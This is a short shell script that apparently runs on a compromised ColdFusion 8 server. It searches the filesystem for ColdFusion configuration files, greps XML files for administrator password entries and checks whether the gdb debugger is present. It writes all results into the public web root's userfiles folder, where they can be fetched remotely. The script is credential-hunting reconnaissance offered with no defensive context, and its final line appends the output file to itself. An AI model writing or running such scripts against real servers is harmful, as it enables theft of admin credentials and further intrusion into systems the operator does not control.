#!/bin/sh
O=/opt/coldfusion8/wwwroot/userfiles/file/cfpw14_out.txt
echo "=== find cfusion8.xml whole fs ===" > $O
find / -name 'cfusion8.xml' -o -name 'cfusion.xml' 2>/dev/null | head -10 >> $O
echo "=== WEB-INF/cfusion dir? ===" >> $O
ls -la /opt/coldfusion8/wwwroot/WEB-INF/cfusion/ 2>&1 | head -20 >> $O
echo "=== find admin-password config files (xml) ===" >> $O
grep -rlI 'adminpassword\|adminPassword\|ADMIN_PASSWORD\|<admin' /opt/coldfusion8 --include='*.xml' 2>/dev/null | grep -ivE 'cftags/resources|help|charting/styles|flex|wizards' | head -15 >> $O
echo "=== cfusion dir anywhere ===" >> $O
find /opt/coldfusion8 -type d -name 'cfusion' 2>/dev/null | head -5 >> $O
echo "=== gdb present? ===" >> $O
which gdb 2>&1 >> $O
cat $O >> $O
